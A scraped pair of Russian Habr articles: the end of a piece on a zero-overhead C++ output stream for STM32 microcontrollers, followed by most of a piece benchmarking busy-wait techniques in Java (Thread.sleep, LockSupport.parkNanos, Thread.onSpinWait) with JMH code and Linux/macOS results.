}
```
Выставим флаги компилятора: -std=gnu++20 -Os -fno-exceptions -fno-rtti. Тогда на первом примере мы получим следующий ассемблерный листинг:
```
main:
push {r3, lr}
movs r0, #65
bl putchar
movs r0, #0
pop {r3, pc}
```
На втором:
```
.LC0:
.ascii "esreveR me!\000"
main:
push {r3, r4, r5, lr}
ldr r5, .L4
movs r4, #5
.L3:
subs r4, r4, #1
bcc .L2
ldrb r0, [r5, r4] @ zero_extendqisi2
bl putchar
b .L3
.L2:
movs r0, #0
pop {r3, r4, r5, pc}
.L4:
.word .LC0
```
На мой взгляд, весьма неплохо. Мы получили привычный плюсовой интерфейс потока, удобный вывод числовых значений, контейнеров/массивов, обработку рэнджей прямо в сигнатуре вывода и все это с фактически нулевым оверхедом.
Конечно же, при выводе числовых значений, добавится еще код конвертации числа в строку.
Потестировать онлайн можно [здесь](https://gcc.godbolt.org/z/eYbdd3hxq) (hardware dependent код заменил для наглядности на *putchar()* ).
Рабочий код проекта смотрите/забирайте [отсюда](https://github.com/ALSCode/BareMetalStream/tree/master). Там реализован пример из начала статьи.
Это стартовый вариант, для уверенного использования еще требуются некоторые доработки и тесты. Например, нужно предусмотреть механизм синхронизации при неблокирующем выводе - когда, скажем, вывод данных предыдущей функции еще не завершен, а мы в следующей функции уже переписываем буфер новой информацией. Также нужно еще внимательно поэкспериментровать с алгоритмами std::views. Например *std::views::drop()* при применении ее к строковому литералу или массиву *char*-ов, взрывается ошибкой *"inconsistent directions for distance and bound"*. Ну что ж, стандарт новый, со временем освоим.
Как это работает можно посмотреть [здесь](https://youtu.be/f6rMz3c4b4E). Проект поднят на двухядерном STM32H745; с одного ядра (480МГц) вывод идет в блокирующем режиме через отладочный интерфейс SWO, код примера выстреливается за 9,2 мкс, со второго(240МГц) - через Uart в режиме DMA, примерно за 20 мкс.
Как-то так.
Спасибо за внимание, буду рад отзывам и замечаниям, а также идеям и примерам, как это безобразие можно улучшить. | https://habr.com/ru/post/556144/ | null | ru | null |
# Холостые циклы в Java
Привет, сегодня поговорим о тонкостях реализации холостых циклов (холостого ожидания) в Java. Эта задача встречается нечасто: за девять с небольшим лет работы я столкнулся с ней лишь пару раз. Тем не менее, тема видится интересной и по ней есть что сказать, так что добро пожаловать! Исходный код примеров доступен [здесь](https://github.com/stsypanov/sleep).
Начнём с определения. На мой вкус русское "холостой цикл" (или "холостое ожидание") интуитивно понятнее и точнее передаёт суть явления, чем английское ["busy waiting"](https://en.wikipedia.org/wiki/Busy_waiting) или "busy loop" — всё-таки в холостых циклах мы ничего не делаем в смысле логики приложения и относительно текущего потока исполнения. Определения "spinning" или "spin loop" подходят лучше, правда, и они несколько размыты.
Смысл холостого цикла состоит в ожидании события, до наступления которого текущий поток не может двигаться дальше. Основное отличие от блокировки (основанной на `synchronized` иди `*Lock`-ах) заключается в том, что ожидающий поток не переходит в состояние `Thread.State.BLOCKED`, а скорее нарезает круги подобно самолёту, ожидающему разрешения на посадку.
Обратите внимание: сегодня с распространением реактивщины, корутин, легковесных потоков и прочих `CompletableFuture` **область явно реализованных ожиданий постепенно сужается** (даже в тестах православно использовать [awaitility](https://github.com/awaitility/awaitility)), но не исчезает окончательно. Так в JDK (не считая тестов) метод `Thread.onSpinWait()` (его и не только мы рассмотрим в этой статье) используется в `ForkJoinPool`, `Phaser`, `StampedLock`, `AbstractQueued*Synchronizer`, т. е. в примитивах многопоточности. Об этом немного поговорим ниже.
### Азы
Простейшая реализация холостого ожидания (что называется "в лоб"):
```
volatile boolean wait = true; // значение выставляется из другого потока
while (wait) {
}
```
Запустив этот код мы очень быстро услышим недовольный гул крыльчатки охлаждения процессора: такой цикл будет пожирать мощность как не в себя.
Очевидно, это не то, что мы хотим видеть в своих приложениях (особенно если разработка ведётся для мобильных устройств), поэтому наиболее распространённая в силу своего почтенного возраста реализация холостого цикла выглядит так:
```
long delay = 1L;
volatile boolean wait = true;
while (wait) {
Thread.sleep(delay);
}
```
Это классический подход, наверняка вы хоть пару раз видели что-нибудь похожее. У этого подхода есть два изъяна. Теперь поупражняйтесь и попробуйте догадаться, что же это за недостатки.
1) очень прост, для его понимания достаточно взглянуть на объявление метода
```
public static native void sleep(long millis) throws InterruptedException;
```
Верно, аргумент метода называется `millis` и с его помощью мы не можем "усыпить" поток менее чем на 1 миллисекунду (для [некоторых](https://www.youtube.com/watch?v=QV-ue1YMdds) задач это много). На мой взгляд конечного пользователя JDK этот недостаток является основным.
2) чуть сложнее, для его понимания необходимо иметь представление о планировщике и системном времени
```
public static native void sleep(long millis) throws InterruptedException;
```
Метод объявлен `native`, иными словами его реализация целиком и полностью зависит от платформы, на неё может влиять "железо", ось и даже версия Java, что будет показано ниже.
Ах да, исключение `InterruptedException` является проверяемым, так что извольте его обработать.
Проиллюстрируем недостатки:
```
@BenchmarkMode(Mode.AverageTime)
@OutputTimeUnit(TimeUnit.MILLISECONDS)
public class ThreadSleepPlainBenchmark {
@Benchmark
public void sleep() throws Exception {
Thread.sleep(1);
}
@Benchmark
public void sleepNanos() throws Exception {
Thread.sleep(0, 1000);
}
}
```
С первым всё понятно: засыпаем на 1 мс. Во втором пробуем обмануть судьбу и заснуть лишь на 1000 нс.
Получается так
```
Java 11 Linux
Benchmark Mode Cnt Score Error Units
ThreadSleepPlainBenchmark.sleep avgt 50 1,091 ± 0,005 ms/op
ThreadSleepPlainBenchmark.sleepNanos avgt 50 1,110 ± 0,005 ms/op
Java 11 MacOS
Benchmark Mode Cnt Score Error Units
ThreadSleepPlainBenchmark.sleep avgt 50 1,312 ± 0,042 ms/op
ThreadSleepPlainBenchmark.sleepNanos avgt 50 1,325 ± 0,029 ms/op
Java 17 Linux
Benchmark Mode Cnt Score Error Units
ThreadSleepPlainBenchmark.sleep avgt 40 1,112 ± 0,003 ms/op
ThreadSleepPlainBenchmark.sleepNanos avgt 40 1,117 ± 0,001 ms/op
Java 17 MacOS
Benchmark Mode Cnt Score Error Units
ThreadSleepPlainBenchmark.sleep avgt 40 1,363 ± 0,008 ms/op
ThreadSleepPlainBenchmark.sleepNanos avgt 40 1,364 ± 0,010 ms/op
```
Теперь совсем радикально:
```
@BenchmarkMode(Mode.AverageTime)
@OutputTimeUnit(TimeUnit.NANOSECONDS)
public class ThreadSleepPlainBenchmark {
@Benchmark
public void sleepZero() throws Exception {
Thread.sleep(0);
}
}
```
Выходит:
```
Java 11 Linux
Benchmark Mode Cnt Score Error Units
ThreadSleepPlainBenchmark.sleepZero avgt 50 484,261 ± 0,578 ns/op
Java 11 MacOS
Benchmark Mode Cnt Score Error Units
ThreadSleepPlainBenchmark.sleepZero avgt 50 501,271 ± 90,137 ns/op
Java 17 Linux
Benchmark Mode Cnt Score Error Units
ThreadSleepPlainBenchmark.sleepZero avgt 50 493,227 ± 4,881 ns/op
Java 17 MacOS
Benchmark Mode Cnt Score Error Units
ThreadSleepPlainBenchmark.sleepZero avgt 40 371,817 ± 6,669 ns/op
```
Не торопитесь радоваться столь короткой задержке и просто запомните эти цифры, через несколько абзацев мы к ним вернёмся.
Итак, накладные расходы на "усыпление" потока в зависимости от оси составляют 0,1-0,3 мс, что составляет 10-30% (!) от требуемой задержки. Иными словами поток приостанавливается на время существенно бОльшее ожидаемого, что особенно заметно в циклах.
Возникает закономерный вопросЗачем вообще было делать перегруженный метод с наносекундами, если одна стоимость вызова измеряется десятками, а то и сотнями микросекунд?
Обойти это ограничение можно с помощью существующего ещё с Java 5 `LockSupport.parkNanos(long)`, как и `Thread.sleep()` созданного для перевода текущего потока в состояние `Thread.State.TIMED_WAITING`. Его преимуществом помимо более тонкой настройки ожидания является уникальная возможность "разбудить" поток с помощью метода `LockSupport.unpark(Thread)`, а также отсутствие необходимости обрабатывать исключение.
Но и тут всё не так просто:
```
@State(Scope.Thread)
@BenchmarkMode(Mode.AverageTime)
@OutputTimeUnit(TimeUnit.NANOSECONDS)
public class ParkNanosBenchmark {
@Param({"10", "100", "1000", "10000", "1000000"})
long delay;
@Benchmark
public void parkNanos() {
LockSupport.parkNanos(delay);
}
}
```
Получается так
```
Java 11 Linux
Benchmark (delay) Mode Cnt Score Error Units
ParkNanosBenchmark.parkNanos 10 avgt 40 57713,345 ± 165,827 ns/op
ParkNanosBenchmark.parkNanos 100 avgt 40 57672,554 ± 444,892 ns/op
ParkNanosBenchmark.parkNanos 1000 avgt 40 58646,654 ± 120,040 ns/op
ParkNanosBenchmark.parkNanos 10000 avgt 40 68222,650 ± 115,751 ns/op
ParkNanosBenchmark.parkNanos 1000000 avgt 40 1103499,893 ± 7793,704 ns/op
Java 11 MacOS
Benchmark (delay) Mode Cnt Score Error Units
ParkNanosBenchmark.parkNanos 10 avgt 40 11395,046 ± 250,512 ns/op
ParkNanosBenchmark.parkNanos 100 avgt 40 9171,332 ± 1117,377 ns/op
ParkNanosBenchmark.parkNanos 1000 avgt 40 4781,591 ± 82,799 ns/op
ParkNanosBenchmark.parkNanos 10000 avgt 40 17750,419 ± 256,214 ns/op
ParkNanosBenchmark.parkNanos 1000000 avgt 40 1403117,216 ± 42218,338 ns/op
Java 17 Linux
Benchmark (delay) Mode Cnt Score Error Units
ParkNanosBenchmark.parkNanos 10 avgt 40 57331,896 ± 606,789 ns/op
ParkNanosBenchmark.parkNanos 100 avgt 40 57701,988 ± 151,346 ns/op
ParkNanosBenchmark.parkNanos 1000 avgt 40 58585,929 ± 119,138 ns/op
ParkNanosBenchmark.parkNanos 10000 avgt 40 67984,687 ± 186,378 ns/op
ParkNanosBenchmark.parkNanos 1000000 avgt 40 1093718,818 ± 7665,960 ns/op
Java 17 MacOS
Benchmark (delay) Mode Cnt Score Error Units
ParkNanosBenchmark.parkNanos 10 avgt 40 11446,015 ± 243,118 ns/op
ParkNanosBenchmark.parkNanos 100 avgt 40 10283,453 ± 148,363 ns/op
ParkNanosBenchmark.parkNanos 1000 avgt 40 5085,643 ± 31,031 ns/op
ParkNanosBenchmark.parkNanos 10000 avgt 40 17582,777 ± 159,145 ns/op
ParkNanosBenchmark.parkNanos 1000000 avgt 40 1369327,409 ± 9468,778 ns/op
```
Добиться ожидаемой задержки получается не всегда: планировщик Линукса по умолчанию не позволяет приостановить поток менее чем на 50 мкс. Он (планировщик) опирается на заданное на уровне оси значение наименьшей задержки, поэтому действительное время "засыпания" всегда кратно этому значению. Подробнее об этом, а также об уменьшении минимального времени на уровне оси вплоть до отдельных потоков хорошо написано в блоге [Хейзелкаст](https://hazelcast.com/blog/locksupport-parknanos-under-the-hood-and-the-curious-case-of-parking/). Таким образом, выражение `Thread.sleep(0)` бесполезно: оно не переводит поток в состояние `Thread.State.TIMED_WAITING` и не высвобождает вычислительные мощности.
С существенным и неочевидным разбросом задержки на MacOS я не разобрался, на [СО](https://stackoverflow.com/questions/72870049/does-minimum-java-lang-thread-suspend-time-depend-on-os-or-cpu) тоже ничего толком не подсказали. Подозреваю, что в приостановке потока тоже есть определённая гранулярность, при этом задержки короче 1 мкс обрабатываются каким-то особенным образом (подозреваю, что для случаев `delay = 100` и `delay = 1000` поток не приостанавливался вовсе).
Практические выводы из этой части:
* при использовании `Thread.sleep()` достижимы задержки не короче 1,1-1,3 мс;
* для более коротких пауз используйте `LockSupport.parkNanos()`;
* задержки кратны величине, заданной на уровне ОС;
* на Линуксе продолжительность ожидания тонко настраивается вплоть до отдельных потоков.
### Использование
В самом начале был приведён основной шаблон задержки:
```
long delay = 1L;
volatile boolean wait = true; // значение выставляется из другого потока
while (wait) {
Thread.sleep(delay);
}
```
В дикой природе часто встречается его разновидность:
```
volatile boolean wait;
long sleepTime = 1L;
for (int i = 0; wait && i < 5; i++) {
try {
Thread.sleep(sleepTime);
} catch(InterruptedException e) {
return result;
}
// sleepTime *= 2; // иногда задержку увеличивают после каждого прохода
}
```
Логика такая: одна длительная пауза разбивается на несколько коротких с расчётом на то, что флаг может быть поднят до последнего прохода, что сбережёт время. Как вариант другим потокам с каждым разом даётся всё больше времени для выполнения своей работы.
Попробуем подход в деле: здесь поток многократно приостанавливается на короткое время в счётном цикле:
```
@State(Scope.Thread)
@BenchmarkMode(Mode.AverageTime)
@OutputTimeUnit(TimeUnit.MILLISECONDS)
public class ThreadSleepInCountedLoopBenchmark {
private final ExecutorService executor = Executors.newFixedThreadPool(1);
volatile boolean wait;
@Param({"1", "5", "10", "50", "100"})
long delay;
@Setup(Level.Invocation)
public void setUp() {
wait = true;
startThread();
}
@TearDown(Level.Trial)
public void tearDown() {
executor.shutdown();
}
@Benchmark
public int sleep() throws Exception {
for (int i = 0; wait && i < delay; i++) {
Thread.sleep(1);
}
return hashCode();
}
private void startThread() {
executor.submit(() -> {
try {
Thread.sleep(delay / 2); // просыпаемся примерно посередине
wait = false;
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
throw new RuntimeException(e);
}
});
}
}
```
Основной недостаток данного подхода заключается в накоплении затрат на засыпание/пробуждение на платформах с бОльшими затратами (здесь и далее для краткости измерения буду делать для Java 11):
```
Java 11 Linux
Benchmark (delay) Mode Cnt Score Error Units
ThreadSleepInCountedLoopBenchmark.sleep 1 avgt 40 1,135 ± 0,006 ms/op
ThreadSleepInCountedLoopBenchmark.sleep 5 avgt 40 2,300 ± 0,016 ms/op
ThreadSleepInCountedLoopBenchmark.sleep 10 avgt 40 5,667 ± 0,035 ms/op
ThreadSleepInCountedLoopBenchmark.sleep 50 avgt 40 26,158 ± 0,038 ms/op
ThreadSleepInCountedLoopBenchmark.sleep 100 avgt 40 50,754 ± 0,124 ms/op
Java 11 MacOS
Benchmark (delay) Mode Cnt Score Error Units
ThreadSleepInCountedLoopBenchmark.sleep 1 avgt 40 1,313 ± 0,021 ms/op
ThreadSleepInCountedLoopBenchmark.sleep 5 avgt 40 2,956 ± 0,021 ms/op
ThreadSleepInCountedLoopBenchmark.sleep 10 avgt 40 6,662 ± 0,031 ms/op
ThreadSleepInCountedLoopBenchmark.sleep 50 avgt 40 29,373 ± 0,120 ms/op
ThreadSleepInCountedLoopBenchmark.sleep 100 avgt 40 54,278 ± 0,136 ms/op
```
А сейчас воспользуемся `LockSupport.parkNanos()`:
```
@State(Scope.Thread)
@BenchmarkMode(Mode.AverageTime)
@OutputTimeUnit(TimeUnit.MILLISECONDS)
public class ParkNanosInCountedLoopBenchmark {
private final ExecutorService executor = Executors.newFixedThreadPool(1);
volatile boolean wait;
@Param({"1", "5", "10", "50", "100"})
long delay;
@Setup(Level.Invocation)
public void setUp() {
wait = true;
startThread();
}
@TearDown(Level.Trial)
public void tearDown() {
executor.shutdown();
}
@Benchmark
public int sleep() {
for (int i = 0; wait && i < delay; i++) {
LockSupport.parkNanos(TimeUnit.MILLISECONDS.toNanos(1));
}
return hashCode();
}
private void startThread() {
executor.submit(() -> {
try {
Thread.sleep(delay / 2);
wait = false;
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
throw new RuntimeException(e);
}
});
}
}
```
```
Java 11 Linux
Benchmark (delay) Mode Cnt Score Error Units
ParkNanosInCountedLoopBenchmark.sleep 1 avgt 20 1,079 ± 0,074 ms/op
ParkNanosInCountedLoopBenchmark.sleep 5 avgt 20 2,205 ± 0,038 ms/op
ParkNanosInCountedLoopBenchmark.sleep 10 avgt 20 5,404 ± 0,151 ms/op
ParkNanosInCountedLoopBenchmark.sleep 50 avgt 20 25,710 ± 0,024 ms/op
ParkNanosInCountedLoopBenchmark.sleep 100 avgt 20 50,546 ± 0,051 ms/op
Java 11 MacOS
Benchmark (delay) Mode Cnt Score Error Units
ParkNanosInCountedLoopBenchmark.sleep 1 avgt 40 1,303 ± 0,023 ms/op
ParkNanosInCountedLoopBenchmark.sleep 5 avgt 40 3,021 ± 0,020 ms/op
ParkNanosInCountedLoopBenchmark.sleep 10 avgt 40 6,728 ± 0,032 ms/op
ParkNanosInCountedLoopBenchmark.sleep 50 avgt 40 29,407 ± 0,118 ms/op
ParkNanosInCountedLoopBenchmark.sleep 100 avgt 40 54,322 ± 0,161 ms/op
```
Цифры в целом совпадают с предыдущим замером, однако мы помним, что минимальная действительная задержка `LockSupport.parkNanos()` измеряется микросекундами. Получается, мы можем использовать более короткие паузы, чтобы быстрее выйти из цикла, но и накладные расходы будут выше просто в силу бОльшего количества вызовов. Поэтому видоизменим бенчмарк для измерения зависимости общей времени задержки от продолжительности отдельной паузы. Возьмём значения 100, 200 и 500 мкс:
```
@State(Scope.Thread)
@BenchmarkMode(Mode.AverageTime)
@OutputTimeUnit(TimeUnit.MILLISECONDS)
public class ParkNanosInCountedLoopBenchmark {
private final ExecutorService executor = Executors.newFixedThreadPool(1);
volatile boolean wait;
@Param({"1", "5", "10", "50", "100"})
long delay;
@Param({"100", "200", "500"})
long pause;
@Setup(Level.Invocation)
public void setUp() {
wait = true;
startThread();
}
@TearDown(Level.Trial)
public void tearDown() {
executor.shutdown();
}
@Benchmark
public int sleep() {
for (int i = 0; wait && i < delay; i++) {
LockSupport.parkNanos(TimeUnit.MICROSECONDS.toNanos(pause));
}
return hashCode();
}
private void startThread() {
executor.submit(() -> {
try {
Thread.sleep(delay / 2);
wait = false;
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
throw new RuntimeException(e);
}
});
}
}
```
Прогоняем
```
Java 11 Linux
Benchmark (delay) (pause) Mode Cnt Score Error Units
ParkNanosInCountedLoopBenchmark.sleep 1 100 avgt 10 0,160 ± 0,001 ms/op
ParkNanosInCountedLoopBenchmark.sleep 1 200 avgt 10 0,283 ± 0,004 ms/op
ParkNanosInCountedLoopBenchmark.sleep 1 500 avgt 10 0,583 ± 0,053 ms/op
ParkNanosInCountedLoopBenchmark.sleep 5 100 avgt 10 0,703 ± 0,003 ms/op
ParkNanosInCountedLoopBenchmark.sleep 5 200 avgt 10 1,059 ± 0,012 ms/op
ParkNanosInCountedLoopBenchmark.sleep 5 500 avgt 10 2,323 ± 0,214 ms/op
ParkNanosInCountedLoopBenchmark.sleep 10 100 avgt 10 1,338 ± 0,052 ms/op
ParkNanosInCountedLoopBenchmark.sleep 10 200 avgt 10 2,557 ± 0,008 ms/op
ParkNanosInCountedLoopBenchmark.sleep 10 500 avgt 10 5,277 ± 0,251 ms/op
ParkNanosInCountedLoopBenchmark.sleep 50 100 avgt 10 6,455 ± 0,204 ms/op
ParkNanosInCountedLoopBenchmark.sleep 50 200 avgt 10 12,569 ± 0,053 ms/op
ParkNanosInCountedLoopBenchmark.sleep 50 500 avgt 10 25,496 ± 0,082 ms/op
ParkNanosInCountedLoopBenchmark.sleep 100 100 avgt 10 12,853 ± 0,434 ms/op
ParkNanosInCountedLoopBenchmark.sleep 100 200 avgt 10 25,077 ± 0,158 ms/op
ParkNanosInCountedLoopBenchmark.sleep 100 500 avgt 10 50,485 ± 0,040 ms/op
Java 11 MacOS
Benchmark (delay) (pause) Mode Cnt Score Error Units
ParkNanosInCountedLoopBenchmark.sleep 1 100 avgt 40 0,132 ± 0,001 ms/op
ParkNanosInCountedLoopBenchmark.sleep 1 200 avgt 40 0,258 ± 0,001 ms/op
ParkNanosInCountedLoopBenchmark.sleep 1 500 avgt 40 0,695 ± 0,010 ms/op
ParkNanosInCountedLoopBenchmark.sleep 5 100 avgt 40 0,625 ± 0,009 ms/op
ParkNanosInCountedLoopBenchmark.sleep 5 200 avgt 40 1,172 ± 0,004 ms/op
ParkNanosInCountedLoopBenchmark.sleep 5 500 avgt 40 2,764 ± 0,021 ms/op
ParkNanosInCountedLoopBenchmark.sleep 10 100 avgt 40 1,262 ± 0,013 ms/op
ParkNanosInCountedLoopBenchmark.sleep 10 200 avgt 40 2,442 ± 0,097 ms/op
ParkNanosInCountedLoopBenchmark.sleep 10 500 avgt 40 5,927 ± 0,118 ms/op
ParkNanosInCountedLoopBenchmark.sleep 50 100 avgt 40 6,327 ± 0,058 ms/op
ParkNanosInCountedLoopBenchmark.sleep 50 200 avgt 40 11,848 ± 1,748 ms/op
ParkNanosInCountedLoopBenchmark.sleep 50 500 avgt 40 28,142 ± 0,272 ms/op
ParkNanosInCountedLoopBenchmark.sleep 100 100 avgt 40 12,580 ± 0,187 ms/op
ParkNanosInCountedLoopBenchmark.sleep 100 200 avgt 40 24,894 ± 1,016 ms/op
ParkNanosInCountedLoopBenchmark.sleep 100 500 avgt 40 53,438 ± 0,137 ms/op
```
Получается немного лучше, т. к. прерывания становятся более гранулярными. Обратите особое внимание на случаи, когда величина `pause` составляет 100, 200 или 500 мкс. Накладные расходы в этом случае существенно ниже обычных. Для меня это осталось ещё одной загадкой, на [СО](https://stackoverflow.com/questions/73292963/infrasctructural-costs-of-thread-sleep-vs-locksupport-parknanos) также тишина. Если захотите перепроверить, то запускайте `ThreadSleepVsParkNanosBenchmark`.
Задержки меньшие расчётных в данных случаях вызваны тем, что счётчик сбрасывается раньше взведения флага. Это не всегда желаемое поведение и может сломать программу, поэтому иногда для перестраховки можно использовать бесконечный цикл, чтобы двигаться дальше только после наступления события. Для этого мы меняем
```
for (int i = 0; wait && i < delay; i++) {
LockSupport.parkNanos(TimeUnit.MICROSECONDS.toNanos(pause));
}
```
на
```
while (wait) {
LockSupport.parkNanos(TimeUnit.MICROSECONDS.toNanos(pause));
}
```
И тут получается любопытная картинка
```
Java 11 Linux
Benchmark (delay) (pause) Mode Cnt Score Error Units
ParkNanosInWhileLoopBenchmark.sleep 1 100 avgt 10 0,161 ± 0,002 ms/op
ParkNanosInWhileLoopBenchmark.sleep 1 200 avgt 10 0,282 ± 0,012 ms/op
ParkNanosInWhileLoopBenchmark.sleep 1 500 avgt 10 0,603 ± 0,006 ms/op
ParkNanosInWhileLoopBenchmark.sleep 5 100 avgt 10 2,219 ± 0,009 ms/op
ParkNanosInWhileLoopBenchmark.sleep 5 200 avgt 10 2,251 ± 0,045 ms/op
ParkNanosInWhileLoopBenchmark.sleep 5 500 avgt 10 2,403 ± 0,029 ms/op
ParkNanosInWhileLoopBenchmark.sleep 10 100 avgt 10 5,242 ± 0,019 ms/op
ParkNanosInWhileLoopBenchmark.sleep 10 200 avgt 10 5,374 ± 0,031 ms/op
ParkNanosInWhileLoopBenchmark.sleep 10 500 avgt 10 5,416 ± 0,030 ms/op
ParkNanosInWhileLoopBenchmark.sleep 50 100 avgt 10 25,262 ± 0,068 ms/op
ParkNanosInWhileLoopBenchmark.sleep 50 200 avgt 10 25,338 ± 0,034 ms/op
ParkNanosInWhileLoopBenchmark.sleep 50 500 avgt 10 25,461 ± 0,067 ms/op
ParkNanosInWhileLoopBenchmark.sleep 100 100 avgt 10 50,242 ± 0,019 ms/op
ParkNanosInWhileLoopBenchmark.sleep 100 200 avgt 10 50,326 ± 0,018 ms/op
ParkNanosInWhileLoopBenchmark.sleep 100 500 avgt 10 50,449 ± 0,043 ms/op
Java 11 MacOS
Benchmark (delay) (pause) Mode Cnt Score Error Units
ParkNanosInWhileLoopBenchmark.sleep 1 100 avgt 40 0,134 ± 0,003 ms/op
ParkNanosInWhileLoopBenchmark.sleep 1 200 avgt 40 0,258 ± 0,001 ms/op
ParkNanosInWhileLoopBenchmark.sleep 1 500 avgt 40 0,694 ± 0,010 ms/op
ParkNanosInWhileLoopBenchmark.sleep 5 100 avgt 40 2,392 ± 0,015 ms/op
ParkNanosInWhileLoopBenchmark.sleep 5 200 avgt 40 2,521 ± 0,012 ms/op
ParkNanosInWhileLoopBenchmark.sleep 5 500 avgt 40 2,810 ± 0,011 ms/op
ParkNanosInWhileLoopBenchmark.sleep 10 100 avgt 40 5,739 ± 0,018 ms/op
ParkNanosInWhileLoopBenchmark.sleep 10 200 avgt 40 5,869 ± 0,182 ms/op
ParkNanosInWhileLoopBenchmark.sleep 10 500 avgt 40 6,517 ± 0,099 ms/op
ParkNanosInWhileLoopBenchmark.sleep 50 100 avgt 40 30,580 ± 0,979 ms/op
ParkNanosInWhileLoopBenchmark.sleep 50 200 avgt 40 27,898 ± 0,117 ms/op
ParkNanosInWhileLoopBenchmark.sleep 50 500 avgt 40 28,105 ± 0,101 ms/op
ParkNanosInWhileLoopBenchmark.sleep 100 100 avgt 40 52,973 ± 0,138 ms/op
ParkNanosInWhileLoopBenchmark.sleep 100 200 avgt 40 54,083 ± 0,829 ms/op
ParkNanosInWhileLoopBenchmark.sleep 100 500 avgt 40 56,220 ± 0,258 ms/op
```
Сценарий с задержкой в 1, 5 и 10 мс срабатывает быстрее, а сценарии с 50 и 100 мс — примерно так же, как`Thread.sleep()`.
Выводы из этой части:
* использование более коротких пауз позволяет выйти из цикла раньше;
* `LockSupport.parkNanos()` в случае коротких задержек (100-200 мкс) имеет меньшие инфраструктурные затраты;
* мне не удалось обнаружить сценарий, в котором `Thread.sleep()` был бы предпочтительнее `LockSupport.parkNanos()`.
### Преобразования
В [Java 9](https://openjdk.org/jeps/285) появился метод `Thread.onSpinWait()`, документация которого гласит:
> Indicates that the caller is momentarily unable to progress, until the occurrence of one or more actions on the part of other activities. By invoking this method within each iteration of a spin-wait loop construct, the calling thread indicates to the runtime that it is busy-waiting. The runtime may take action to improve the performance of invoking spin-wait loop constructions.
>
> The code above would remain correct even if the onSpinWait method was not called at all. However on some architectures the Java Virtual Machine may issue the processor instructions to address such code patterns in a more beneficial way.
>
>
В качестве примера там приведён такой код:
```
class EventHandler {
volatile boolean eventNotificationNotReceived;
void waitForEventAndHandleIt() {
while (eventNotificationNotReceived) {
Thread.onSpinWait();
}
readAndProcessEvent();
}
void readAndProcessEvent() {
// Read event from some source and process it
}
}
```
Иными словами этот метод можно использовать для замены `Thread.sleep(1)` в бесконечных циклах. Давайте возьмём рассмотренный выше бенчмарк и перепишем его с использованием нового подхода:
```
@State(Scope.Thread)
@BenchmarkMode(Mode.AverageTime)
@OutputTimeUnit(TimeUnit.MILLISECONDS)
public class ThreadOnSpinWaitBenchmark {
private final ExecutorService executor = Executors.newFixedThreadPool(1);
volatile boolean wait;
@Param({"5", "10", "50", "100"})
long delay;
@Setup(Level.Invocation)
public void setUp() {
wait = true;
startThread();
}
@TearDown(Level.Trial)
public void tearDown() {
executor.shutdown();
}
@Benchmark
public int onSpinWait() {
while (wait) {
Thread.onSpinWait(); // тут был Thread.sleep(1)
}
return hashCode();
}
private void startThread() {
executor.submit(() -> {
try {
Thread.sleep(delay / 2);
wait = false;
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
throw new RuntimeException(e);
}
});
}
}
```
Цифры показывают преимущество нового подхода для коротких задержек:
```
Java 11 Linux
Benchmark (delay) Mode Cnt Score Error Units
ThreadOnSpinWaitBenchmark.onSpinWait 1 avgt 25 0,003 ± 0,001 ms/op
ThreadOnSpinWaitBenchmark.onSpinWait 5 avgt 25 2,074 ± 0,001 ms/op
ThreadOnSpinWaitBenchmark.onSpinWait 10 avgt 25 5,077 ± 0,001 ms/op
ThreadOnSpinWaitBenchmark.onSpinWait 50 avgt 25 25,083 ± 0,004 ms/op
ThreadOnSpinWaitBenchmark.onSpinWait 100 avgt 25 50,086 ± 0,004 ms/op
ThreadSleepBenchmark.sleep 1 avgt 25 1,117 ± 0,001 ms/op
ThreadSleepBenchmark.sleep 5 avgt 25 2,241 ± 0,005 ms/op
ThreadSleepBenchmark.sleep 10 avgt 25 5,588 ± 0,009 ms/op
ThreadSleepBenchmark.sleep 50 avgt 25 25,721 ± 0,034 ms/op
ThreadSleepBenchmark.sleep 100 avgt 25 50,537 ± 0,043 ms/op
Java 11 MacOS
Benchmark (delay) Mode Cnt Score Error Units
ThreadOnSpinWaitBenchmark.onSpinWait 1 avgt 25 0,003 ± 0,001 ms/op
ThreadOnSpinWaitBenchmark.onSpinWait 5 avgt 25 2,499 ± 0,004 ms/op
ThreadOnSpinWaitBenchmark.onSpinWait 10 avgt 25 6,037 ± 0,024 ms/op
ThreadOnSpinWaitBenchmark.onSpinWait 50 avgt 25 28,001 ± 0,140 ms/op
ThreadOnSpinWaitBenchmark.onSpinWait 100 avgt 25 53,054 ± 0,206 ms/op
ThreadSleepBenchmark.sleep 1 avgt 25 1,374 ± 0,008 ms/op
ThreadSleepBenchmark.sleep 5 avgt 25 2,902 ± 0,014 ms/op
ThreadSleepBenchmark.sleep 10 avgt 25 6,665 ± 0,029 ms/op
ThreadSleepBenchmark.sleep 50 avgt 25 28,760 ± 0,153 ms/op
ThreadSleepBenchmark.sleep 100 avgt 25 53,757 ± 0,229 ms/op
```
Получается, что `Thread.onSpinWait()` по идее даёт наименьшую возможную задержку (не считая пустого `while(true)`). Проверим:
```
@State(Scope.Thread)
@BenchmarkMode(Mode.AverageTime)
@OutputTimeUnit(TimeUnit.NANOSECONDS)
public class ThreadOnSpinWaitPlainBenchmark {
private final ExecutorService executor = Executors.newFixedThreadPool(1);
volatile boolean wait;
@Setup(Level.Invocation)
public void setUp() {
wait = true;
executor.submit(() -> {
wait = false;
});
}
@TearDown(Level.Trial)
public void tearDown() {
executor.shutdown();
}
@Benchmark
public int onSpinWait() {
while (wait) {
Thread.onSpinWait();
}
return hashCode();
}
}
```
Здесь мы выставляем флаг с наименьшей возможной задержкой:
```
Java 11 Linux
ThreadOnSpinWaitPlainBenchmark.onSpinWait avgt 40 2059,759 ± 9,187 ns/op
Java 17 Linux
ThreadOnSpinWaitPlainBenchmark.onSpinWait avgt 40 2018,547 ± 37,834 ns/op
Java 11 MacOS
ThreadOnSpinWaitPlainBenchmark.onSpinWait avgt 40 2478,869 ± 122,442 ns/op
Java 17 MacOS
ThreadOnSpinWaitPlainBenchmark.onSpinWait avgt 40 2315,390 ± 42,885 ns/op
```
Можем ли мы теперь повсюду внедрять этот шаблон? Оказывается, что нет. Применимость нового подхода очень сильно зависит от сценария. Если он строго соответствует виду
```
цикл-с-условием {
Thread.sleep(delay);
}
```
то вроде бы препятствий нет (на первый взгляд). Этот подход предпочтителен, т. к. выход из цикла произойдёт почти мгновенно после поднятия флага.
